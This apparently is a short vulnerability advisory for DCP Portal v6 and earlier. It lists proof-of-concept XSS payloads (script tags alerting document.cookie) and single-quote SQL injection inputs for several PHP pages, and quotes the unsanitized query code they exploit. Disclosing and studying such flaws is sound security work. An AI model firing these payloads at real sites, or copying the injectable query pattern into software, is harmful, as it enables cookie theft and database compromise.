DCP - portal XSS & SQL attacks
Web Site: http://www.dcp-portal.org/
DCP Portal <= v6
This script is possibly vulnerable to SQL Injection attacks AND Cross Site
Scripting (XSS) attacks
The script has been tested with these query variables:
XSS :
http://[target]/index.php?page=send&cid=<script>alert(document.cookie);</script>
XSS - only POST metod
calendar.php
http://[target]/calendar.php
The script has been tested with these POST variables:
month=<script>alert(document.cookie);</script>&s=1&submit=GO&year=2003&day=01
Also this script is possibly vulnerable to SQL Injection attacks.
The SQL Injection attacks has been tested with these POST variables:
register.php
sex=1&name=%27&surname=1&email=1&b_month=0&b_day=0&b_year=0&address=1&zip=1&city=1&country=1&job=1&tel=1&signature=1&username=1&password=1&password2=1&hide=on&list=on&action=send&submit=Send
lostpassword.php
mode=lost&email=%27&submit=Send
calendar.php
month=1&s=1&submit=GO&year='&day=01
month=1&s=1&submit=GO&year=%27&day=01
index.php?cid=%27[SQL]
cod from index.php
$sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER
BY sort, name";
$result = mysql_query($sql);
forums.php?action=showmsg&mid=%27[SQL]
cod from forum.php
$resultt = mysql_query("SELECT * FROM $t_forum_msg WHERE b_id =
'".$_GET["bid"]."' $where AND msg_id = '0'");
while($rowt=mysql_fetch_array($resultt)) {
Best Regards
Alex